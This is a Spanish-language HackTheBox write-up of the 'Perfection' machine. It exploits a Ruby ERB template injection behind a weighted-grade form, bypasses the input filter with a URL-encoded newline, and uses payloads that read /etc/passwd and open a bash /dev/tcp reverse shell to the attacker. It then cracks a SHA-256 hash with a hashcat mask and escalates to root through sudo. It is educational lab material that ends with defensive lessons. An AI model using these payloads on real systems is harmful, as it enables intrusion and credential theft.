Saltar al contenido
cd ..
HTBEXP-0004
RESUELTA

Perfection

Linux Fácil 14 min de lectura
SSTIRubyHashcat
EMemmb15jul 2026

Writeup en video

Recorrido completo de Perfection: del reconocimiento a la raíz, paso a paso.

Perfection — HackTheBox

Writeup de la máquina Perfection (HackTheBox · Linux · Fácil) por NeMeZIS (@_emmb15). Aloja un servidor HTTP en Ruby (WEBrick) con un input mal sanitizado → SSTI (Server-Side Template Injection). Hacemos un bypass del filtro para colar una reverse shell y entramos como la usuaria susan; en su /home hay una base de datos con su hash, y un correo en /var/mail nos revela el patrón de su contraseña. Con eso montamos un ataque de máscara con hashcat, crackeamos el hash y, como susan está en el grupo sudo, saltamos a root. Las IPs reales se omiten a propósito (<IP HTB> para la víctima, <IP VPN> para el atacante): reemplazalas por las de tu instancia.

Créditos: parte de la metodología está inspirada en el contenido educativo de S4vitar (video). Todos los créditos a él por el enfoque de enseñanza.

Técnicas utilizadas

FaseTécnicaDescripción
ReconocimientoEscaneo de puertos (Nmap)Identificación de servicios expuestos
EnumeraciónAnálisis de la aplicación webDetección de WEBrick (Ruby) como vector clave
ExplotaciónSSTIBypass del regex con salto de línea %0A
ExplotaciónReverse ShellPayload SSTI para obtener shell remota
Post-explotaciónEnumeración internaHash en una base de datos SQLite + correo en /var/mail/susan
EscaladaCracking por fuerza bruta (máscara)Hashcat con el patrón revelado en el correo
AccesoCredenciales crackeadas → rootsusan está en el grupo sudo

Fase 1 · Reconocimiento

Arrancamos con un escaneo de todos los puertos para ver qué está expuesto:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP HTB>

Escaneo de todos los puertos

Con los puertos identificados (22/SSH y 80/HTTP) lanzamos un escaneo de versiones y scripts por defecto:

nmap -sCV -p22,80 <IP HTB>

Escaneo de servicios y versiones

searchsploit openssh no da nada aprovechable (la versión está al día) y whatweb tampoco revela mucho. No aparece un dominio asociado, así que por ahora no tocamos /etc/hosts y accedemos directo por la IP en el navegador:

La web servida por la IP

Fase 2 · Enumeración de la web

Explorando el sitio saltan tres cosas relevantes:

  • En el footer se ve que la página corre sobre WEBrick 1.7.0 — un posible vector si es una versión vulnerable.

WEBrick 1.7.0 en el footer

  • En About Us hay una descripción del equipo; esos nombres podrían ser usuarios enumerables más adelante.

Sección About Us

  • La funcionalidad principal, Calculate your weighted grade, tiene varios inputs — candidatos naturales a algún tipo de inyección.

Formulario de notas ponderadas

Investigando WEBrick 1.7.0:

Buscando vulnerabilidades de WEBrick

Resulta ser una biblioteca del lenguaje Ruby popular para desarrollo web, y la inyección de código aparece como vector plausible — justo lo que sospechábamos del formulario de notas.

WEBrick es una librería de Ruby

Probamos primero una inyección SQL básica (' OR '1'='1):

Prueba de inyección SQL

Parece haber sanitización que bloquea comandos maliciosos. Probando caracteres especiales sueltos vemos que no todos están bloqueados, así que toca mapear cuáles pasan y cuáles no para reducir el tipo de inyección:

Prueba de caracteres especiales

Como sí permite ciertos caracteres, buscamos inyecciones propias de Ruby en PayloadsAllTheThings:

PayloadsAllTheThings — Ruby

Ahí hay ejemplos básicos de ejecución que podemos probar:

Ejemplos de inyección

La prueba clásica: si el servidor evalúa la expresión, nos devuelve el resultado de la operación.

<%= 7 * 7 %>   →   49

Fase 3 · Bypass del filtro y confirmación del SSTI

Para trabajar cómodo interceptamos con Burp Suite vía un proxy (FoxyProxy en 127.0.0.1:8080):

Configuración de FoxyProxy

Configuración del proxy en Burp

Reenviamos la petición para que Burp capture el tráfico:

Petición capturada en Burp

Con CTRL + R la mandamos al Repeater para modificar los parámetros:

Enviando al Repeater

Probando caracteres vemos cómo responde el WAF:

Probando la sanitización

Un * directo da error:

El asterisco es bloqueado

Al copiar el payload tal cual también falla: las peticiones web deben ir URL-encodeadas. Seleccionamos y damos CTRL + U:

URL-encode con CTRL+U

Payload encodeado

Aun así sigue bloqueado — el sistema filtra la inyección:

Sigue bloqueado

El truco para burlar el filtro es URL-encodear un salto de línea. Con man 7 ascii vemos sus representaciones:

LF · '\n' · New Line · 10 · 0A

man 7 ascii — el salto de línea

Probamos un * después de un salto de línea (%0A) a ver si ahora pasa:

Asterisco tras el salto de línea

El carácter pasa el filtro

Efectivamente, se salta la sanitización. Ahora la inyección de prueba <%= 7 * 7 %> (recordá URL-encodear):

Inyección 7*7

Resultado 49

La operación se ejecuta: confirmado el SSTI y con ello ejecución remota de código.

Fase 4 · De SSTI a reverse shell

Con la ruta confirmada, leemos el /etc/passwd de la víctima (exposición de información sensible):

<%= File.open('/etc/passwd').read %>

Leyendo /etc/passwd

Contenido de /etc/passwd

Con id vemos qué usuario ejecuta los procesos:

<%= IO.popen('id').readlines() %>

Identidad del proceso

Para la reverse shell nos ponemos en escucha por el 443 en la máquina atacante…

sudo nc -lvnp 443

Netcat en escucha

…e inyectamos el payload de conexión:

bash -c "bash -i >& /dev/tcp/<IP VPN>/443 0>&1"

En Burp mandamos la petición con CTRL + ESPACIO y recibimos la shell:

Shell recibida

Fase 5 · Tratamiento de la consola y user flag

Para operar sin que se cierre la consola al hacer CTRL + C, hacemos el tratamiento clásico de la TTY:

script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows 38 columns 168

Ya con una shell decente navegamos y encontramos la user flag:

User flag

Fase 6 · Reconocimiento interno para escalar

Vemos nuestros permisos con id:

Grupos del usuario susan

Estamos en el grupo sudo: si conseguimos la contraseña de susan, escalamos. Buscamos archivos que pertenezcan a susan, quitando el ruido de /home y /proc:

find / -user susan -o -group susan 2>/dev/null | grep -vE "home|proc"

Archivos de susan

Nos fijamos en /var/mail: puede haber correo en la bandeja.

cat /var/mail/susan

Correo en /var/mail/susan

El correo sugiere el formato de la contraseña del servicio:

{nombre}_{nombre al revés}_{número al azar entre 1 y 1 000 000 000}

Que para susan sería:

susan_nasus_{número}

Ya tenemos media contraseña armada. Antes de irnos a fuerza bruta (que lleva tiempo), seguimos buscando con find . y aparece un archivo sospechoso por su nombre:

Archivo sospechoso

Lo inspeccionamos:

Identificando el archivo

Es una base de datos SQLite 3, así que la abrimos y consultamos con SQL:

Abriendo la base SQLite

Encontramos los usuarios con sus contraseñas hasheadas:

Usuarios y hashes

Nos quedamos con el de susan (del que ya tenemos parte de la contraseña) y lo guardamos en un archivo hash:

Guardando el hash

Fase 7 · Cracking del hash y root

Identificamos el tipo con hashid hash → apunta a SHA-256. Con hashcat --help elegimos un ataque de máscara (-a 3), completando la parte desconocida con dígitos (?d):

hashcat -a 3 hash "susan_nasus_?d?d?d?d?d?d?d?d?d" -O -m 1400

Ataque de máscara con hashcat

ParámetroSignificado
-a 3Modo de ataque por máscara (prueba todas las combinaciones que encajen)
-m 1400Tipo de hash: SHA-256
?dUn dígito del 0 al 9 (uno por cada cifra del número aleatorio)
-OOptimizaciones de rendimiento

Tras un rato, hashcat crackea el hash:

Hash crackeado

Volvemos a la shell de susan, y como está en el grupo sudo, con esa contraseña saltamos a root y leemos la flag final:

sudo su

Root y flag final

Máquina completada. 🚩

Lecciones

  • Nunca metas input del usuario dentro de una plantilla del servidor. El SSTI nació de incrustar lo que escribía el usuario en el motor de Ruby. La entrada debe ser un dato, no parte del código de la plantilla.
  • La sanitización por lista negra se rompe. Filtrar caracteres sueltos no alcanzó: un simple %0A (salto de línea) burló el WAF. Validá contra una lista blanca estricta de lo permitido.
  • No guardes hashes crackeables ni pistas de la contraseña. El SHA-256 sin salt + el correo que revelaba el patrón (nombre_nombre-al-revés_número) redujeron el espacio de búsqueda de "imposible" a minutos de hashcat.
  • Principio de mínimo privilegio. Tener a susan en el grupo sudo con ALL convirtió un foothold de usuario en root directo. El proceso web tampoco debería correr con acceso a archivos sensibles.